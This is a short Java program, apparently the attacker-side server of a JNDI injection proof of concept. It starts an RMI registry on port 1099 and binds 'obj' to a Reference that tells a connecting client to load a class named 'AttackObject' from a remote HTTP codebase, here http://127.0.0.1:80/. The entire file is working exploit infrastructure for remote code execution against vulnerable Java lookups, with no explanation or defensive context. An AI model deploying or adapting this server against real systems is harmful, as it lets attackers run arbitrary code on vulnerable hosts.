import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RegistryServer {

    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
        Registry registry = LocateRegistry.createRegistry(1099);
        //String className = AttackObject.class.getName();
        Reference reference = new Reference("AttackObject", "AttackObject", "http://127.0.0.1:80/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("obj", wrapper);
        System.out.println("RegistryServer is runing......");
    }
}